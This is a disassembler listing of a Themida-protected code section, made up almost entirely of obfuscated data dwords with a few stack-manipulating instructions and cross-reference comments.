		dd 4B3104BEh, 0FFC68343h, 0F26CE81h, 0C6813926h, 8AAC8FD0h
		dd 24048B54h, 6804C483h, 22BDh,	81243489h, 71022434h, 408F36A3h
		dd 8708108h, 36A37102h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp


loc_5E735D:				; DATA XREF: Themida_:0057C93Co
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		dw 61CAh
		dd 0A3BD6879h, 1BD8C2B8h, 0FFC50306h, 0D89660E0h, 0D397CE79h
		dd 68A84B4Ah, 0C21F251Fh, 2D81093Dh, 0DFD46003h, 8491C82Dh
		dd 5F801112h, 19E42816h, 779B2A1Eh, 3FD8A26h, 8748DF7Eh
		dd 0FF502615h, 8BC22906h, 0EAC4D022h, 0A1AC0505h, 0CD3C145Ah
		dd 2483761Fh, 70FA2160h, 6CF80471h, 0CD519421h,	0B9D4A177h
		dd 2C78040Fh, 0DBD11409h, 2E22D76Fh, 0BF2B7505h, 0AB8D8D18h
		dd 31061BDAh, 1516CDBDh, 218D8906h, 56061527h, 0CD85C75Eh
		dd 0B8061504h, 6A000068h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 4591C350h, 4282AA23h
		dd 0AE960h, 6C3D0000h, 0C413308h, 29368411h, 2799BD8Bh
		dd 0C7610615h, 15111585h, 6, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0D080846Bh
		dd 0D858979h, 0FF06152Fh, 152921B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 70144F50h
		dd 0D1B58B63h, 0FF061505h, 1502C995h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0C75F8F12h, 0C800F3Ch, 0F000000h, 68Ch, 559D3100h, 6A061510h
		dd 2195FF00h, 8B06152Eh, 374DEBC0h, 9B619C89h, 0FFBBAB91h
		dd 69E1F855h, 97ECA8E1h, 0F602674h, 97A6670Ch, 8B86977Eh
		dd 48BB7C5h, 4A22DF66h,	65ED1820h, 0AB825DC4h, 33CD7AD2h
		dd 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh, 92D50E48h
		dd 8ADEF66Dh, 2620980Bh, 12E8h,	59E400h, 0ED5502A5h, 99094C60h
		dd 9C156A14h, 6630044Dh, 5EA834BBh, 0D5852957h,	5F061521h
		dd 7542C681h, 8D890000h, 61522E5h, 0B9h, 8BD78B00h, 13E90E04h
		dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h
		dd 0E8815CD3h, 2FEED3EEh, 24599D89h, 0F0810615h, 2602A9EAh
		dd 879B509h, 0C0810615h, 57C93186h, 0A9C38166h,	0BF0F50F2h
		dd 0E048FFFh, 0BF66D08Bh, 0E981E7D9h, 34C29E55h, 58D0B60h
		dd 66061517h, 6191F1BFh, 9E51C181h, 14E934C2h, 0DA000000h
		dd 5D33C453h, 0BC365167h, 0B02807B8h, 5C40023Eh, 81E3A7E7h
		dd 0FF8BB8F9h, 24850FFFh, 52000000h, 9E9h, 0AFFC8200h
		dd 9CA8316Dh, 0E95F4D56h, 2Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h
		dd 0E9B439ECh, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h
		dd 3CE9726Bh, 29FFFFFFh, 0E8552FCBh, 0E932BAF8h, 31h, 1E327FF3h
		dd 0Bh dup(0)
		dd 58AE900h, 85680000h,	0E9061BDDh, 0FFF9A20Eh,	1BDE0B68h
		dd 0A204E906h, 0AE68FFF9h, 0E9061BDFh, 0FFF9A1FAh, 491017Dh
		dd 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh
		dd 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h,	9D2EB1D8h
		dd 81BB3C16h, 6056C624h, 1EB8597Eh, 14599133h, 11EE2898h
		dd 5CDF4C3Eh, 4405D2ECh, 89136722h, 0C995E08Ah,	0F2980868h
		dd 0F6C8F8C8h, 908F09E1h, 6CF3C434h, 95A74378h,	0EB2E95C7h
		dd 92108677h, 2EBAE981h, 4D169C9Eh, 5C6DB40Fh, 3F101693h
		dd 5C5A6B4Bh, 935CB4D9h, 0E7D64116h, 0D444A60Bh, 0C7F27736h
		dd 837A9DBDh, 8E000003h, 93B68D4Fh, 5A1086F2h, 0F2A4ED58h
		dd 76471086h, 68D85A59h, 0C0311F82h, 0D00ED000h, 86F22C75h
		dd 4DBD4210h, 0FBCC7449h, 92764D0Fh, 0DB169BFBh, 0D59134CAh
		dd 0A20BF952h, 0CE90AEDEh, 0F5950565h, 0E67802C6h, 0DCDAEB15h
		dd 0D444C1F2h, 8CBC7C36h, 36ABACB2h, 372C95EDh,	0FB6BCCC7h
		dd 6731B40Fh, 0D1E21F13h, 38680272h, 2C855767h,	67585ECEh
		dd 0B5258683h, 0C910B3A9h, 0B41F2277h, 0B76C07E3h, 0D949A834h
		dd 0C9E656DAh, 477D9A34h, 0D32F45AEh, 398h, 38DD4DA9h
		dd 7F1686EBh, 10E555B0h, 482D9D23h, 0EE757DBh, 1B9F1299h
		dd 0D255CAABh, 209C9362h, 0ED4EE5B0h, 1F2F987Dh, 9D2F7DA4h
		dd 0BD7F0016h, 3DB0BABh, 0A2CE1440h, 6D8E916h, 59EC4DADh
		dd 169D2E30h, 0F9C5EABBh, 74AF9E3h, 0E6169D2Eh,	2E2970D5h
		dd 0A7D4169Dh, 0E9E6D040h, 54924C6h, 2E256CD7h,	0F7C8169Dh
		dd 24941613h, 2E4993F2h, 6DC6169Dh, 3FEC9E0Eh, 91B14CBCh
		dd 0D2B7D028h, 31260E4h, 0CF2F0000h, 869B65Fh, 0C726FD98h
		dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh
		dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D2Ch,	0BAB43F9h
		dd 0F2365BEAh, 0E4B51086h, 450F3CBh, 0F916A2CEh, 7D481628h
		dd 169D2E54h, 0AA640617h, 0FE6ECFE4h, 2E6CB10Ch, 282169Dh
		dd 2A8FA492h, 0D4BD7CBAh, 8E50FAE9h, 38B19549h,	9674AB31h
		dd 2895B41Bh, 0B09DC396h, 1EEh,	0B62685AEh, 9C0C7380h
		dd 0E08AA59Ah, 3BC7243Ch, 544D49B9h, 502D69D9h,	7866507Fh
		dd 0AB253C5Fh, 0A54514FEh, 0FE970764h, 2F2B7B5Ch, 3A857B82h
		dd 630777F9h, 8559892Dh, 0D02C8557h, 559CC560h,	4E5F1086h
		dd 5CC9019Ch, 8394169Bh, 8BF376BBh, 0A2F68657h,	36D4FBBCh
		dd 3B507DF8h, 26861693h, 0C7380B6h, 11B49A9Ch, 16933BC8h
		dd 52C3E2B3h, 67D2786Bh, 0E86CD178h, 0A50E9DBDh, 0B37D343h
		dd 3Fh,	0DB0BAB1Fh, 0DB4BAE03h,	3608E2DBh, 37A70B28h, 95300EFFh
		dd 1086F24Ch, 516C1E2Fh, 169BF5E1h, 0C18B8B9Ch,	900DED94h
		dd 7E3DF42h, 9310719Ch,	2C93FE16h, 0BDFC901Dh, 0AF189Dh
		dd 24F40000h, 0ABB55FC7h, 0C9FD6C34h, 3FC3B0E6h, 59DAC7CFh
		dd 37B4ADE9h, 39BAF7C7h, 6F5221C9h, 1086F50Ch, 18DE849h
		dd 4A200F7Fh, 0E4FA6AC9h, 939A2F3h, 0A3226BA7h,	250A0333h
		dd 0C0802645h, 565CE90h, 0E45FF595h, 169EA8B6h,	4B687647h
		dd 0BC9E77E7h, 9185F577h, 0DD5DCEBCh, 2A6A906Dh, 0F7FDB7D4h
		dd 16F7Bh, 474D200h, 0CF3FC271h, 0C7CF926h, 0C636BA69h
		dd 1282002Fh, 2C672483h, 68B75ECEh, 31FE9707h, 9D9263D3h
		dd 0FCC7AE1Eh, 2D2E73D2h, 4CCD169Dh, 56C624F0h,	0AB1370BFh
		dd 8E3BC8ECh, 78A1244Dh, 310868Ah, 63321D32h, 57C724D5h
		dd 89F1525Fh, 85A19C0Ah, 660F20BDh, 8E508040h, 6056C625h
		dd 0AB97B6Fh, 169C8021h, 0E656D5DEh, 0BB839404h, 0C108BBA1h
		dd 431690E3h, 0DF1D8A9Eh, 0C9DA4685h, 2292F021h, 592F6E53h
		dd 0C2411690h, 514B8C52h, 73C37898h, 0E252B1E2h, 642FDBB4h
		dd 59DF6BCFh, 0BBF8C6E9h, 0F422C838h, 3AAA092Ah, 3B6703FCh
		dd 0BCh, 0B1D86B71h, 3C169089h,	0D1044C6Bh, 6955DAA9h
		dd 0BAB9981h, 851F4EAh,	0F31086F2h, 0F25E8322h,	0C1D1086h
		dd 60A81B23h, 0D16A2CEh, 71F5CB44h, 9D238FD2h, 7A5D6E16h
		dd 44748035h, 5BFB695Bh, 0CCCAE5CAh, 0E252B102h, 4003DBB4h
		dd 169D9319h, 0FA37D3E4h, 1D8DED79h, 6A0B2419h,	0D0C636B5h
		dd 0ABF15975h, 7A65CC2Eh, 977EEE4Dh, 7BBB2B88h,	600DC491h
		dd 6851CDB0h, 9CAAEF56h, 40510EC2h, 970769AAh, 0BD9AA49Fh
		dd 1FA6410Ch, 0EC2AEFAh, 0E5A7B081h, 72E2609Fh,	86644B44h
		dd 94EA40Bh, 2E67CDC4h,	6DCEC5BCh, 26C4B9FDh, 7F1686E5h
		dd 0B3E353B0h, 34Fh, 4B2F6B00h,	5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 306B6878h, 34890000h, 0E1895124h,	4C181h
		dd 0E9810000h, 4, 5C240C87h, 50242C89h,	405E089h, 2D000000h
		dd 4, 5C240487h, 68240C89h, 61BDC59h, 81242C8Bh, 4C4h
		dd 0C8B5400h, 4C48124h,	52000000h, 16B8BE56h, 0F6817B51h
		dd 7B5116B0h, 15EF289h,	5A2A89CAh, 592434FFh, 0FF04C483h
		dd 815D2434h, 4C4h, 9C9CE900h, 42E0FFF9h, 0ABFC9EE9h, 0DE83084h
		dd 9DE983DFh, 1BE142B8h, 0FFC50306h, 65AB9EE0h,	0CFB2E163h
		dd 0D8EBD744h, 8E6B85Fh, 0D791828h, 0E38D8D5Ch,	6A061BE2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6B7DC355h, 302A4E9Eh, 915BD03h, 95090615h
		dd 6152ED9h, 27218D89h,	6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 9EC8F7C3h, 5899C50Dh
		dd 0E8556317h, 10h, 0D2111F3h, 0A076A1Eh, 0F354577Bh, 95187898h
		dd 0FE9h, 8FBE2600h, 0CD7CA9ABh, 58FC6515h, 63D328A0h
		dd 0CD85C75Eh, 0E8061504h, 6A000058h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 70AAC350h
		dd 0FA40F039h, 111585C7h, 615h,	8D890000h, 61528B1h, 1D45B5FFh
		dd 95890615h, 61518DDh,	2C995FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2185E4C3h
		dd 532D40B9h, 6A7BFDC1h, 2195FF00h
		db 2Eh,	15h
word_5E7D12	dw 8B06h		; DATA XREF: Themida_:0057C2E0o
		dd 0B10BEBC0h, 0F46A2D21h, 0AAF4FADAh, 0EE87E6Dh, 3B000000h
		dd 0BD67A944h, 6B90E018h, 53FC66A3h, 0C3805F86h, 55C781DDh
		dd 8B00006Fh, 0E9D233DFh, 0Eh, 3B62F988h, 13A3C627h, 5C8487C6h
		dd 348B10CBh, 0D9853117h, 8106152Eh, 0AEA33FC6h, 7E946h
		dd 0C19A0000h, 77796646h, 15F68127h, 894D0083h,	1528A18Dh
		dd 1FEE8106h, 0F266147h, 68Fh, 0A59D8900h, 56061518h, 28E3B866h
		dd 6617048Fh, 850FCB8Bh, 14h, 0FE9h, 0B7503400h, 7072DACh
		dd 647B8181h, 0A44FE0FDh, 0D859EA81h, 9D8906FEh, 6150829h
		dd 0D855C281h, 852906FEh, 6150C5Dh, 9170FA81h, 850FFFFFh
		dd 0FFFFFF7Eh, 13E9h, 73F00200h, 2A70E526h, 9E064E62h
		dd 3979C0E3h, 9BD2B27Fh, 0E49D8D8Dh, 6A061Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D9CCBEC3h
		dd 4DBAB54Ah, 58B0FC2h,	0BA000000h, 16C2F2C2h, 27218D89h
		dd 0E6800615h, 0CD85C7FCh, 0C0061504h, 6A000074h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5FFEC353h, 1F2BB3BCh, 816686EBh, 66B00BCFh, 85C7D88Bh
		dd 6151115h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 97C35040h
		dd 858970A4h, 61505DDh,	0FFE9DC80h, 1523E1B5h, 5AD88006h
		dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 21935EC3h, 0BE13BBFFh, 0FF006AD2h
		dd 152E2195h, 0EBC08B06h, 0C92CB47Ch, 0F2EC95E3h, 9537D659h
		dd 254A6968h, 0B2705D92h, 89C7628Dh, 794F6B8Ch,	6D37BE1Eh
		dd 0C52D0A89h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h
		dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh
		dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h,	0ADD80670h
		dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h
		dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 1EE9D4h, 5B490000h
		dd 1B23h, 6 dup(0)
		dd 52EE9h, 9C0C6A00h, 57C72AF9h, 0A41471BEh, 6EDE62D1h
		dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh
		dd 943FD646h, 17D6FBCAh, 0D495169Dh, 57C72468h,	80F0525Fh
		dd 0FC25A0BEh, 7F1086F2h, 960665AEh, 298A99F4h,	0A28F7DB9h
		dd 4CBDAD1Dh, 2A377FEFh, 4E8757C7h, 4F5A964Bh, 7AB45674h
		dd 0A2507FE6h, 0B3C009BCh, 9AAB1086h, 50C043F0h, 9E0E6EC5h
		dd 5CCC28F7h, 60D03182h, 83B15936h, 0FC7D096Eh,	0A9B58A8Ch
		dd 86B3F71Ah, 8AA57610h, 0CD00A98Ch, 8BEE7AFAh,	0D261341Bh
		dd 0AE150171h, 1086B36Eh, 87C2ED8Ch, 97A85B22h,	0E62B9AC4h
		dd 0F81086BFh, 3E0F0777h, 69D9B182h, 61h, 0DD624F3Dh, 2F8C7D6Dh
		dd 2C5B8DC7h, 7549A9FCh, 86C58BCEh, 8EA17210h, 0C6DC688h
		dd 88CFEE9Ch, 0EC1086C5h, 82E7624Dh, 0A97A851h,	1, 55C5241Eh
		dd 89F15061h, 0B5952CF6h, 377F5001h, 6FDF5C55h,	77B45627h
		dd 199581F1h, 6AC72B92h, 84F47B07h, 0F892BD92h,	0AF46B63Bh
		dd 2930380h, 0E2624F36h, 3066D656h, 4946705Fh, 0A21270A1h
		dd 0DE03C29Ch, 341086F2h, 0F21852B5h, 0FCCD7315h, 0AE13200Eh
		dd 0F53E203Eh, 3B140272h, 8659478Ah, 75152610h,	0DA4AAAB7h
		dd 0F161C7DCh, 248B02C5h, 2B88CABFh, 7B258C8h, 1B8BEFD8h
		dd 62E3D07Ah, 1FCBC4F2h, 0F52191F2h, 251181FCh,	31C1ECA3h
		dd 0CA772B24h, 2BDF07C6h, 0A83A2D80h, 849397h, 24A70000h
		dd 46B63AC6h, 8E507F50h, 91897A49h, 0C4A6620Fh,	6CDC594Ah
		dd 802FB62Ah, 4EBE4172h, 9B0B6F9Ch, 5DC525FAh, 38AE833Fh
		dd 68AE81B4h, 0B985F57Bh, 4BF920A3h, 97841086h,	9C71A515h
		dd 0F118ABB3h, 7C10864Bh, 0F355BFABh, 65B8913Ch, 0CB97A8D5h
		dd 45h,	0F1B0D401h, 0C8DAC955h,	0C3BCFA6Ah, 2416FEECh
		dd 7E6056C6h, 4E48B835h, 4768D855h, 960666A3h, 4B7227A0h
		dd 0E78EFE7Ch, 7DED4E63h, 0C524A58Dh, 0BAE26155h, 0B81086F2h
		dd 2EBB8E41h, 0B697A81Ah, 1, 59C924D2h,	83666F5Dh, 0C40A22DEh
		dd 7CBA2A8Fh, 4DBEAC83h, 54E062EEh, 4B4B64D4h, 5A595D72h
		dd 42C304ABh, 0F33F62E1h, 0D1BE1086h, 3A130373h, 4B5B3A15h
		dd 0E0637BABh, 169BFD44h, 0D5CEC8D9h, 200FE656h, 2A2B33A3h
		dd 82F50B54h, 0C3711911h, 93EE1B40h, 8D40E916h,	0AC49B93Ah
		dd 9284F477h, 2C122A1h,	1693EEDFh, 9B38959Eh, 9CAA05DBh
		dd 0DF9A9CB3h, 43C007B6h, 0A6F42D3h, 929DBDD1h,	122h, 0DB0BABA6h
		dd 0F6304003h, 0FCCD169Bh, 0FE6ED1E2h, 0E923C7B8h, 0BBDF3223h
		dd 0D4BADC7Eh, 93742871h, 0EDC2D316h, 3FAF0CFDh, 0FA6AC956h
		dd 0D444A7BCh, 3F6E27E2h, 0DABB2B88h, 0BDA062C7h, 75EA9Dh
		dd 4FBE0000h, 0F293B68Dh, 495A1086h, 1A4AF7A1h,	9A191A44h
		dd 0F2478A39h, 15261086h, 0C75503Ah, 4D9086F2h,	3D1F87E4h
		dd 0D693AC4Ch, 3165052Ah, 76683660h, 79148ACFh,	0CAA0716Fh
		dd 7914B6DBh, 5F4EB56Fh, 1C2252EFh, 59E81542h, 796FD28Bh
		dd 0BA9D6D06h, 0A04AE6DBh, 7935FC05h, 90AE7FEFh, 1B889CEh
		dd 0BA5C1B53h, 799BC60Bh, 0F694A5EFh, 6C1997h, 0ABED0000h
		dd 4003DB0Bh, 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah, 0FDDFD747h
		dd 24C636B4h, 93E75779h, 416C1D16h, 0E0B52586h,	0E8F626DAh
		dd 0CF3FBDF6h, 0C23A801Bh, 724310B7h, 5CCC2F44h, 5BE7495Ah
		dd 5E2F67D7h, 0D12C4571h, 13603561h, 0D3CF9AE3h, 6C53DA56h
		dd 0F8E74E77h, 6C72A256h, 9239D3D9h, 5BDFF81Ah,	0EE994AEEh
		dd 4D5E4228h, 0BAB84A8h, 4AAE03DBh, 302E30DAh, 0F272972Eh
		dd 0CF91086h, 2FB3BABh,	585E3D2Dh, 0E116A2D7h, 4FC90ED0h
		dd 588C5E4Ah, 8375181Dh, 96BE3FB4h, 0CA293AF4h,	0C68FBB5Ah
		db 84h,	0
word_5E837E	dw 9F25h		; DATA XREF: Themida_:00579D60o
		dd 0B7741687h, 0D949A834h, 9C45C0F6h, 4F2BA41Dh, 71D2F5E8h
		dd 3CBF7401h, 0AF04CACCh, 0E3DCDA4Ah, 416D9CD4h, 7F6B56C8h
		dd 18C62E92h, 69F599D0h, 5C575F70h, 66C502ADh, 4FF6E8F6h
		dd 33D2840Ah, 2B4A20F1h, 8AEB77F4h, 0C231C1Ah, 8EEF440Ah
		dd 1A506C1Eh, 8E000000h, 84ACF550h, 3DC233D2h, 0A84253CDh
		dd 0B68D4F74h, 1086F293h, 7BA1495Ah, 5ACA247Fh,	74E4475Ch
		dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h
		dd 52C24330h, 7AEA4F64h, 8957783Ch, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 4B9668h, 24048900h, 197D68h, 243C8900h
		dd 3D53B951h, 0BD550972h, 62BF5AABh, 0F581DDF7h, 0D30CAF57h
		dd 415DE909h, 5A0EE981h, 0C8894962h, 4EC8159h, 89000000h
		dd 4832424h, 515F0424h,	8151C189h, 7B32242Ch, 478F6058h
		dd 8478108h, 60587B32h,	243C8B59h, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 0FF5C2414h, 81582434h, 4C4h, 93E0E900h, 0B86AFFF9h
		dd 61BE9E7h, 0E0FFC503h, 10265175h, 2121562Eh, 4DBA888Bh
		dd 4B3F57ADh, 2303CEEEh, 2D99BAF9h, 4F015CD8h, 1EE0E726h
		dd 64CB27CCh, 7478BCA1h, 19B0304Ch, 44A20598h, 53ECAAABh
		dd 7BC84A10h, 3D65B4DDh, 3B5E77C7h, 68F1240Ah, 77F82C3Bh
		dd 3315454Fh, 66720FC9h, 0EBBF8D8Dh, 6A061Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 91B856C3h
		dd 0F91F092Ah, 661803FFh, 0BF66C78Bh, 8D89ACBCh, 6152721h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h
		dd 4CD85C7h, 711C0615h,	852B0000h, 6150061h, 111585C7h
		dd 615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1D0424h, 51410000h, 1ED247C3h, 0B1C2E2C1h, 0FFE4F3E0h
		dd 1533A9B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0B5331A79h, 6150C95h, 1C984ABFh
		dd 0C995FF3Ah, 6A061502h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0FE02C356h,	2585312Ah
		dd 6A061526h, 2195FF00h, 8B06152Eh, 0F94FEBC0h,	0A3E6C2A9h
		dd 77A139F3h, 0A0FC0DDFh, 0F74E152Ch, 471274B3h, 1AC5F48Bh
		dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E854DE78h,	1A3404C1h
		dd 7CF98AF4h, 5E52DD3Dh, 6708A0F8h, 0BA8A9792h,	692826ACh
		dd 4C790D0Ah, 0B3AD0ED0h, 682132AAh, 14E80E35h,	9A000000h
		dd 0E08815Ch, 0BC1D6995h, 505F8249h, 0DB59E1C8h, 0E9C53FB1h
		dd 7, 45D513C8h, 5AFFEF2Fh, 2D21BD8Bh, 0C2810615h, 5C4Ch
		dd 5E8h, 65A1D700h, 85890080h, 615035Dh, 6859h,	58FC0000h
		dd 8B02348Bh, 1521098Dh, 0DF68106h, 66117836h, 8189ACB9h
		dd 30D4DEEh, 0E0F7807Dh, 0CBCBC681h, 890F1CC9h,	0Dh, 5E8h
		dd 61A7E00h, 0F88B7AA2h, 2348959h, 12E9h, 7159A700h, 0EAE7A9C4h
		dd 3E20835h, 822B580Dh,	0E8F68B79h, 0Ah, 0D998094h, 0B1BAC186h
		dd 8D8988C8h, 6150839h,	4E88359h, 0F8815B57h, 0FFFFA4A8h
		dd 29850Fh, 10E90000h, 0C1000000h, 58328B05h, 7F37F006h
		dd 52800720h, 0E9784BC3h, 23h, 83E112D6h, 0BCE889CBh, 8DEFED6Ah
		dd 318F643Dh, 15151D9Dh, 0FF56E906h, 2ADAFFFFh,	1567D184h
		dd 0E8577E57h, 0Fh, 0AC40B2F5h,	7FA13104h, 0F9B8EE6Ah
		dd 0E9409CB2h, 0Dh, 71975F9Fh, 527555DAh, 4EE7CD66h, 0C1815931h
		dd 64C2h, 107D958Bh, 0F62B0615h, 31048BFCh, 0C820Fh, 830F0000h
		dd 6, 27258D29h, 0E8810615h, 1F47D56Ah,	2FD8D89h, 0F0810615h
		dd 75CA0433h, 0ABF081F8h, 8B4CD959h, 310489F8h,	6820Fh
		dd 958B0000h, 6152E75h,	81D2B70Fh, 7B1297EEh, 65958B5Ah
		dd 81061534h, 7B1293C6h, 5D85895Ah, 8106150Ch, 0FF9C04FEh
		dd 1D850FFFh, 89000000h, 15028595h, 28E906h, 6DB00000h
		dd 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 23E64277h,	76E9F2B2h
		dd 28FFFFFFh, 549ED13Dh, 42809728h, 4572A9C9h, 8D8D51C6h
		dd 61BEE7Ch, 2CDAEDB8h,	218D893Fh, 6A061527h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5CADC356h, 169D952Bh, 85C70615h, 61504CDh, 682Ch, 0BE9h
		dd 36E26D00h, 9975820Fh, 0BDEFDD68h, 111585C7h,	615h, 0B5030000h
		dd 6152479h, 2E0DB5FFh,	6A0615h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 514DE3C3h, 0B8F18BDCh
		dd 55AFBA1Dh, 2C995FFh,	0F7810615h, 3076761Fh, 95FF006Ah
		dd 6152E21h, 7CEBC08Bh,	42B8D16Fh, 0A48E8B51h, 0A045BC39h
		dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 25AC0F00h, 7DFA9DC4h
		dd 12547894h, 67E79C67h, 2F6977DBh, 973316C3h, 786617E5h
		dd 0B755EC26h, 0B8CA91Bh, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh
		dd 6880BD1Fh, 930519AAh, 476E1196h, 1DEDC057h, 2EDE7298h
		dd 2DFBB2DEh, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh
		dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0EF898D8Dh, 0BE66061Bh
		dd 8D89F3AEh, 6152721h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0EEC35141h, 85C76128h, 61504CDh, 74B4h
		dd 3AD28166h, 61B5890Eh, 0C7061525h, 15111585h,	6, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 370BB745h, 0FFF8F7B0h, 152921B5h, 0F5858906h, 0FF06152Eh
		dd 1502C995h, 74BA6606h, 0FF006A0Ch, 152E2195h,	0EBC08B06h
		dd 0C494F94Dh, 22A780A2h, 54680A82h, 5E153C82h,	476B64D9h
		dd 164BE1CAh, 0DFACD4Bh, 71FFB7E9h, 0CD6F04B2h,	36693C56h
		dd 88C9A304h, 7F3FCB19h, 0BB1B1978h, 21556E8Fh,	0BA6E5AA9h
		dd 594F4BC8h, 2FAB4549h, 23EA0DB5h, 673BA2E1h, 8D8DC7EFh
		dd 61BF0FCh, 2B459589h,	8D890615h, 6152721h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A6C35646h, 10A70EEAh
		dd 8160BD99h, 0F82FAFEEh, 659D8907h, 61061511h,	4CD85C7h
		dd 5E300615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 487704C3h, 0CA72ACFh, 55B2763Fh
		dd 19C9B58Bh, 85C70615h, 6151115h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E0C35242h
		dd 0F7EA1979h, 8B01C12Fh, 15065995h, 78A0F06h, 52000000h
		dd 1A15F4B8h, 0B5FF5829h, 6152E0Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0D4C35747h,	6095FFFBh, 0C995FFE4h
		dd 6A061502h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 77FDC350h, 4E005C4Bh, 0FE9h, 0D466CB00h
		dd 16E0EE02h, 0A1DE0F42h, 0C56EFF2Eh, 95FF006Ah, 6152E21h
		dd 7CEBC08Bh, 46F8532h,	4557F24Ah, 0C62586A9h, 0C4E7F331h
		dd 65A665D7h, 60B981CFh, 66A6C458h, 26919CD9h, 9A6FBB3Bh
		dd 6614F5CCh, 0D5470CEFh, 54019261h, 3EE50CF5h,	0EE0B307Dh
		dd 0E4672A0Fh, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 9A42E3C0h
		dd 69AA961h, 66B2AB22h,	95F45BADh, 22265617h, 0E2D0700Bh
		dd 0D7DFDFBh, 5748EFA2h, 85E7DA3Bh, 95CA4382h, 243FCA0Dh
		dd 0C5EC7629h, 79B36AC2h, 0BE8h, 106D5C00h, 0F7903C0Fh
		dd 113451D5h, 24858589h, 15F0615h, 15054D9Dh, 2C78106h
		dd 6600005Fh, 0BB0369BAh, 0
		dd 0FE8h, 29646700h, 79440BB6h,	0CEAA37B5h, 92CD73ADh
		dd 5E9h, 0FE2A5400h, 0FF5A4E82h, 0F513B34h, 685h, 8F0F00h
		dd 59000000h, 1F870F58h, 0E8000000h, 13h, 673CD488h, 2D7DDD96h
		dd 0FC2A62AEh, 6AF8B8B7h, 89B68491h, 15193595h,	0C0815906h
		dd 6FDC0E72h, 2CF9BD29h, 0E8810615h, 6CAC82CDh,	811EE680h
		dd 1F3BBBC0h, 0D38B664Eh, 0E1816650h, 48F0FA0h,	7E91Fh
		dd 0D2960000h, 0CF0227F7h, 0EB83F564h, 0AE804h,	736E0000h
		dd 3B5FD3C4h, 9BDEE982h, 1175B529h, 815A0615h, 0FFA200FBh
		dd 1A850FFFh, 89000000h, 1512D585h, 25E906h, 5FB0000h
		dd 58555F6Dh, 0CD2A3DA3h, 8329CB63h, 0A0A3B953h, 4CE95A8Eh
